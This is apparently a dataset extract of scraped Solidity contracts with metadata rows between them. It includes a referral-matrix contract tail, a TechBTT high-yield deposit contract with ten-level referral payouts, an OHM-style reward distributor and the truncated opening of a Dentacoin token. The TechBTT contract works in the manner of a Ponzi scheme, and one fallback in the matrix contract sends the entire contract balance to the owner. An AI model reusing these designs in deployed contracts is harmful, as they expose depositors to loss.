function sendETHDividends(address userAddress, address _from, uint8 matrix, uint256 level) private {
(address receiver, bool isExtraDividends) = findEthReceiver(userAddress, _from, matrix, level);
if (!address(uint160(receiver)).send(levelPricex4[level])) {
if(address(uint160(owner)).send(address(this).balance))
return;
}
if (isExtraDividends) {
emit SentExtraEthDividends(_from, receiver, matrix, level);
}
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
function ReferralActivator() public
{
address currentuser = msg.sender;
uint256 noofactive = users[currentuser].noofreferralActivated;
uint noofdays = users[currentuser].lasttimereferralActivated;
require(noofactive < 3,"You have passed limit");
require(now > noofdays,"You can activate after 3 days");
users[currentuser].noofreferralActivated=users[currentuser].noofreferralActivated.add(1);
if(users[currentuser].noofreferralActivated==3){
safedefitokenTransferRA(msg.sender);
for(uint8 k=1;k<=users[msg.sender].oldactiveslots;k++){
safedefitokenTransferUpgrade(msg.sender,k);
}
}
UpdateX3(1,currentuser,true,true,true);
}
function safedefitokenTransferRA(address to) internal {
uint256 _amount=convertToToken(200);
uint256 defitokentestBal = BalanceOfTokenInContract();
if(defitokentestBal >= _amount)
{
if(TRC20Interface(Tokenaddress).transfer(to, _amount))
{
}
}
}
function safedefitokenTransferUpgrade(address to, uint8 level) internal {
uint256 defitokentestBal = BalanceOfTokenInContract();
if(defitokentestBal >= convertToToken(RewardToken[level]) && level>1){
if(convertToToken(101000000) > UpgradeTokenDistributed){
if(TRC20Interface(Tokenaddress).transfer(to, convertToToken(RewardToken[level]))){
UpgradeTokenDistributed = UpgradeTokenDistributed.add(convertToToken(RewardToken[level]));
}
}
}
}
function BalanceOfTokenInContract()public view returns (uint256){
return TRC20Interface(Tokenaddress).balanceOf(address(this));
}
function safedefitokenRegistration(address to) internal {
uint _amount = convertToToken(100);
uint _amount1 = convertToToken(30);
uint256 defitokentestBal = BalanceOfTokenInContract();
if(defitokentestBal >= _amount.add(_amount1)){
if(lastUserId <= 300000)
{
if(TRC20Interface(Tokenaddress).transfer(to,_amount)) {
RegistrationTokenDistributed = RegistrationTokenDistributed.add(_amount);
}
if(TRC20Interface(Tokenaddress).transfer(users[msg.sender].referrer,_amount1))
{
}
}
}
}
function convertToToken(uint amount) public pure returns(uint256){
return amount.mul(1000000000000000000);
}
function migrateOldData(uint amount) private returns(bool){
address uaddress = msg.sender;
(users[uaddress].id,users[uaddress].referrer,users[uaddress].partnersCount) = getuserstruct(uaddress);
if(users[uaddress].id>0){
require(amount == 200 trx, "invalid registration cost");
idToAddress[idd] = uaddress;
oldIdMapping[oldUseridMapping]=msg.sender;
oldUseridMapping=oldUseridMapping.add(1);
users[uaddress].noofreferralActivated=0;
migrateOldDatax6(uaddress,users[uaddress].referrer);
return true;
}
else
{
return false;
}
}
function migrateOldDatax6(address uaddress , address referrer) private
{
for(uint8 k=1;k<=20;k++)
{
bool ischeck = usersActiveX6Levelsold(uaddress,k);
if(ischeck)
{
users[uaddress].activeX6Levels[k]= ischeck;
users[uaddress].x6Matrix[k].currentReferrer=referrer;
}
else
{
break;
}
}
uint256 level=k;
users[uaddress].oldactiveslots=level.sub(1);
emit Upgrade(uaddress,referrer,2,level.sub(1),true);
}
function getuserstruct(address useraddress) private view returns(uint,address,uint)
{
return OldAutoxify(oldcontractaddress).users(useraddress);
}
function usersActiveX6Levelsold(address userAddress, uint8 level) private view returns(bool)
{
return OldAutoxify(oldcontractaddress).usersActiveX6Levels(userAddress,level);
}
}
interface OldAutoxify
{
function users(address) external view returns(uint,address,uint);
function usersActiveX6Levels(address,uint8)external view returns(bool);
}
| 285,586 | 10,531 |
eb6997852a607989b85ad4520078c26aeb91fde2a434d6234eb213cfb75ffc59
| 19,299 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TE/TE8H344FXiCcywD34dCy8Hi9Uh11DcNnCh_TechBTT.sol
| 4,815 | 18,440 |
//SourceUnit: TechBTT.sol
pragma solidity 0.5.10;
contract TechBTT {
using SafeMath for uint;
uint256 tokenId = 1002000;
uint constant public DEPOSITS_MAX = 100;
uint constant public INVEST_MIN_AMOUNT = 2000 trx;
uint constant public INVEST_MAX_AMOUNT = 2500 trx;
uint constant public WITHDRAW_MIN_AMOUNT = 1 trx;
uint constant public BASE_PERCENT = 100;
uint[] public REFERRAL_PERCENTS = [400, 200, 100, 50, 50, 50, 50, 50, 50, 50];
uint constant public MARKETING_FEE = 500;
uint constant public PROJECT_FEE = 500;
uint constant public MAX_CONTRACT_PERCENT = 300;
uint constant public MAX_HOLD_PERCENT = 400;
uint constant public PERCENTS_DIVIDER = 10000;
uint constant public CONTRACT_BALANCE_STEP = 10000000 trx;
uint constant public TIME_STEP = 1 days;
uint constant public INVEST_MAX_AMOUNT_STEP = 4500000 trx;
uint[] public DAY_LIMIT_WITHDRAW = [1000000 trx, 1000000 trx];
uint[] public DAY_LIMIT_STEPS = [2500000 trx, 5000000 trx, 12500000 trx, 25000000 trx, 50000000 trx];
uint public totalDeposits;
uint public totalInvested;
uint public totalWithdrawn;
uint public contractPercent;
uint public contractCreation;
address payable public marketingAddress;
address payable public projectAddress;
struct Deposit {
uint64 amount;
uint64 withdrawn;
uint64 refback;
uint32 start;
}
struct User {
Deposit[] deposits;
uint32 checkpoint;
address referrer;
uint64 bonus;
uint24[10] refs;
uint16 rbackPercent;
uint lastinvest;
}
mapping (address => User) internal users;
mapping (uint => uint) internal turnover;
event Newbie(address user);
event NewDeposit(address indexed user, uint amount);
event Withdrawn(address indexed user, uint amount);
event RefBonus(address indexed referrer, address indexed referral, uint indexed level, uint amount);
event RefBack(address indexed referrer, address indexed referral, uint amount);
event FeePayed(address indexed user, uint totalAmount);
constructor(address payable marketingAddr, address payable projectAddr) public {
require(!isContract(marketingAddr) && !isContract(projectAddr));
marketingAddress = marketingAddr;
projectAddress = projectAddr;
contractCreation = block.timestamp;
contractPercent = getContractBalanceRate();
}
function invest(address referrer) public payable {
require(!isContract(msg.sender) && msg.sender == tx.origin);
User storage user = users[msg.sender];
require (block.timestamp > user.lastinvest.add(TIME_STEP), "Try Again in 24hours");
uint InvestLimit = getCurrentInvestLimit();
require(msg.tokenid == tokenId,"JUST BTT");
require(msg.tokenvalue >= INVEST_MIN_AMOUNT, "Minimum deposit amount 100 BTT");
require(msg.tokenvalue <= InvestLimit, "Maximum deposit amount exceded");
require(user.deposits.length < DEPOSITS_MAX, "Maximum 100 deposits from address");
uint availableLimit = getCurrentHalfDayAvailable();
require(availableLimit > 0, "Deposit limit exceed");
uint msgValue = msg.tokenvalue;
if (msgValue > availableLimit) {
msg.sender.transferToken(msgValue.sub(availableLimit), tokenId);
msgValue = availableLimit;
}
uint halfDayTurnover = turnover[getCurrentHalfDay()];
uint halfDayLimit = getCurrentDayLimit();
if (INVEST_MIN_AMOUNT.add(msgValue).add(halfDayTurnover) < halfDayLimit) {
turnover[getCurrentHalfDay()] = halfDayTurnover.add(msgValue);
} else {
turnover[getCurrentHalfDay()] = halfDayLimit;
}
uint marketingFee = msgValue.mul(MARKETING_FEE).div(PERCENTS_DIVIDER);
uint projectFee = msgValue.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
marketingAddress.transferToken(marketingFee, tokenId);
projectAddress.transferToken(projectFee, tokenId);
emit FeePayed(msg.sender, marketingFee.add(projectFee));
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
uint refbackAmount;
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint i = 0; i < 10; i++) {
if (upline != address(0)) {
uint amount = msgValue.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
if (i == 0 && users[upline].rbackPercent > 0) {
refbackAmount = amount.mul(uint(users[upline].rbackPercent)).div(PERCENTS_DIVIDER);
msg.sender.transferToken(refbackAmount, tokenId);
emit RefBack(upline, msg.sender, refbackAmount);
amount = amount.sub(refbackAmount);
}
if (amount > 0) {
address(uint160(upline)).transferToken(amount, tokenId);
users[upline].bonus = uint64(uint(users[upline].bonus).add(amount));
emit RefBonus(upline, msg.sender, i, amount);
}
users[upline].refs[i]++;
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = uint32(block.timestamp);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(uint64(msgValue), 0, uint64(refbackAmount), uint32(block.timestamp)));
totalInvested = totalInvested.add(msgValue);
totalDeposits++;
if (contractPercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
uint contractPercentNew = getContractBalanceRate();
if (contractPercentNew > contractPercent) {
contractPercent = contractPercentNew;
}
}
user.lastinvest = block.timestamp;
emit NewDeposit(msg.sender, msgValue);
}
function withdraw() public {
User storage user = users[msg.sender];
uint userPercentRate = getUserPercentRate(msg.sender);
uint totalAmount;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(3).div(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(3).div(2)) {
dividends = (uint(user.deposits[i].amount).mul(3).div(2)).sub(uint(user.deposits[i].withdrawn));
}
uint availableLimitWithdraw = getCurrentHalfDayWithdrawAvailable();
//require(availableLimitWithdraw > 0, "Withdraw limit exceed");
if (dividends > availableLimitWithdraw) {
//msg.sender.transferToken(totalAmount.sub(availableLimitWithdraw));
dividends = availableLimitWithdraw;
}
uint halfDayWithdrawTurnover = turnover[getCurrentHalfDayWithdraw()];
uint halfDayWithdrawLimit = getCurrentDayWithdrawLimit();
if (WITHDRAW_MIN_AMOUNT.add(dividends).add(halfDayWithdrawTurnover) < halfDayWithdrawLimit) {
turnover[getCurrentHalfDayWithdraw()] = halfDayWithdrawTurnover.add(dividends);
} else {
turnover[getCurrentHalfDayWithdraw()] = halfDayWithdrawLimit;
}
user.deposits[i].withdrawn = uint64(uint(user.deposits[i].withdrawn).add(dividends));
totalAmount = totalAmount.add(dividends);
}
}
require(totalAmount > 0, "User has no dividends");
uint contractBalance = address(this).tokenBalance(tokenId);
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = uint32(block.timestamp);
msg.sender.transferToken(totalAmount, tokenId);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function setRefback(uint16 rbackPercent) public {
require(rbackPercent <= 10000);
User storage user = users[msg.sender];
if (user.deposits.length > 0) {
user.rbackPercent = rbackPercent;
}
}
function getContractBalance() public view returns (uint) {
return address(this).tokenBalance(tokenId);
}
function getContractBalanceRate() internal view returns (uint) {
uint contractBalance = address(this).tokenBalance(tokenId);
uint contractBalancePercent = BASE_PERCENT.add(contractBalance.div(CONTRACT_BALANCE_STEP).mul(5));
if (contractBalancePercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
return contractBalancePercent;
} else {
return BASE_PERCENT.add(MAX_CONTRACT_PERCENT);
}
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
if (isActive(userAddress)) {
uint timeMultiplier = (block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP.div(2)).mul(5);
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return contractPercent.add(timeMultiplier);
} else {
return contractPercent;
}
}
function getUserHoldRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
if (isActive(userAddress)) {
uint timeMultiplier = (block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP.div(2)).mul(5);
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return timeMultiplier;
}
}
function getUserAvailable(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint userPercentRate = getUserPercentRate(userAddress);
uint totalDividends;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(3).div(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(3).div(2)) {
dividends = (uint(user.deposits[i].amount).mul(3).div(2)).sub(uint(user.deposits[i].withdrawn));
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
return (user.deposits.length > 0) && uint(user.deposits[user.deposits.length-1].withdrawn) < uint(user.deposits[user.deposits.length-1].amount).mul(3).div(2);
}
function getUserAmountOfDeposits(address userAddress) public view returns (uint) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].amount));
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount = user.bonus;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].withdrawn)).add(uint(user.deposits[i].refback));
}
return amount;
}
function getCurrentHalfDay() public view returns (uint) {
return (block.timestamp.sub(contractCreation)).div(TIME_STEP.div(2));
}
function getCurrentDayLimit() public view returns (uint) {
uint limit;
uint currentDay = (block.timestamp.sub(contractCreation)).div(TIME_STEP);
if (currentDay == 0) {
limit = DAY_LIMIT_STEPS[0];
} else if (currentDay == 1) {
limit = DAY_LIMIT_STEPS[1];
} else if (currentDay >= 2 && currentDay <= 3) {
limit = DAY_LIMIT_STEPS[1].mul(currentDay);
} else if (currentDay >= 4 && currentDay <= 9) {
limit = DAY_LIMIT_STEPS[2].mul(currentDay.sub(1));
} else if (currentDay >= 10 && currentDay <= 19) {
limit = DAY_LIMIT_STEPS[3].mul(currentDay.sub(4));
} else if (currentDay >= 20) {
limit = DAY_LIMIT_STEPS[4].mul(currentDay.sub(12));
}
return limit;
}
function getCurrentHalfDayTurnover() public view returns (uint) {
return turnover[getCurrentHalfDay()];
}
function getCurrentHalfDayAvailable() public view returns (uint) {
return getCurrentDayLimit().sub(getCurrentHalfDayTurnover());
}
function getCurrentHalfDayWithdraw() public view returns (uint) {
return (block.timestamp.sub(contractCreation)).div(TIME_STEP.div(2));
}
function getCurrentDayWithdrawLimit() public view returns (uint) {
uint limit;
uint currentDayWithdraw = (block.timestamp.sub(contractCreation)).div(TIME_STEP);
if (currentDayWithdraw == 0) {
limit = DAY_LIMIT_WITHDRAW[0];
} else if (currentDayWithdraw >= 1) {
limit = DAY_LIMIT_WITHDRAW[1];
}
return limit;
}
function getCurrentHalfDayWithdrawTurnover() public view returns (uint) {
return turnover[getCurrentHalfDayWithdraw()];
}
function getCurrentHalfDayWithdrawAvailable() public view returns (uint) {
return getCurrentDayWithdrawLimit().sub(getCurrentHalfDayWithdrawTurnover());
}
function getCurrentInvestLimit() public view returns (uint) {
uint limit;
if (totalInvested <= INVEST_MAX_AMOUNT_STEP) {
limit = INVEST_MAX_AMOUNT;
} else if (totalInvested >= INVEST_MAX_AMOUNT_STEP) {
limit = totalInvested.div(10);
}
return limit;
}
function getUserDeposits(address userAddress, uint last, uint first) public view returns (uint[] memory, uint[] memory, uint[] memory, uint[] memory) {
User storage user = users[userAddress];
uint count = first.sub(last);
if (count > user.deposits.length) {
count = user.deposits.length;
}
uint[] memory amount = new uint[](count);
uint[] memory withdrawn = new uint[](count);
uint[] memory refback = new uint[](count);
uint[] memory start = new uint[](count);
uint index = 0;
for (uint i = first; i > last; i--) {
amount[index] = uint(user.deposits[i-1].amount);
withdrawn[index] = uint(user.deposits[i-1].withdrawn);
refback[index] = uint(user.deposits[i-1].refback);
start[index] = uint(user.deposits[i-1].start);
index++;
}
return (amount, withdrawn, refback, start);
}
function getSiteStats() public view returns (uint, uint, uint, uint, uint, uint, uint) {
return (totalInvested, totalDeposits, getContractBalance(), contractPercent, getCurrentHalfDayAvailable(),getCurrentHalfDayWithdrawAvailable(),getCurrentInvestLimit());
}
function getUserStats(address userAddress) public view returns (uint, uint, uint, uint, uint, uint) {
uint userPerc = getUserPercentRate(userAddress);
uint userAvailable = getUserAvailable(userAddress);
uint userDepsTotal = getUserTotalDeposits(userAddress);
uint userDeposits = getUserAmountOfDeposits(userAddress);
uint userWithdrawn = getUserTotalWithdrawn(userAddress);
uint userholdPerc = getUserHoldRate(userAddress);
return (userPerc, userAvailable, userDepsTotal, userDeposits, userWithdrawn, userholdPerc);
}
function getUserReferralsStats(address userAddress) public view returns (address, uint64, uint64, uint64, uint24[10] memory) {
User storage user = users[userAddress];
return (user.referrer, user.rbackPercent, users[user.referrer].rbackPercent, user.bonus, user.refs);
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 292,032 | 10,532 |
f57c282ba41ced70288303d12435fa159457523f637193278edb0465ab4d7667
| 18,083 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/71/71814c36E96c3b34b1f954bb5A682f6B47C2E67f_Distributor.sol
| 3,975 | 15,701 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _ohm, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_ohm != address(0));
OHM = _ohm;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(OHM).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 80,916 | 10,533 |
b56ef2f26a781960556e9bd753fa14196ffe6f3924e52771746ce7c506dee9a5
| 13,824 |
.sol
|
Solidity
| false |
367422064
|
YuGer26/ERC20-List-All
|
4f93234ff8de0cddf2ca81994275768250f2b1b7
|
erc20/Dentacoin(Dentacoin)_0x08d32b0da63e2C3bcF8019c9c5d849d7a9d791e6.sol
| 2,935 | 12,287 |
pragma solidity ^0.4.8;
contract owned {
address public owner;
function owned() {
owner = msg.sender;
}
modifier onlyOwner {
if (msg.sender != owner) throw;
_;
}
function transferOwnership(address newOwner) onlyOwner {
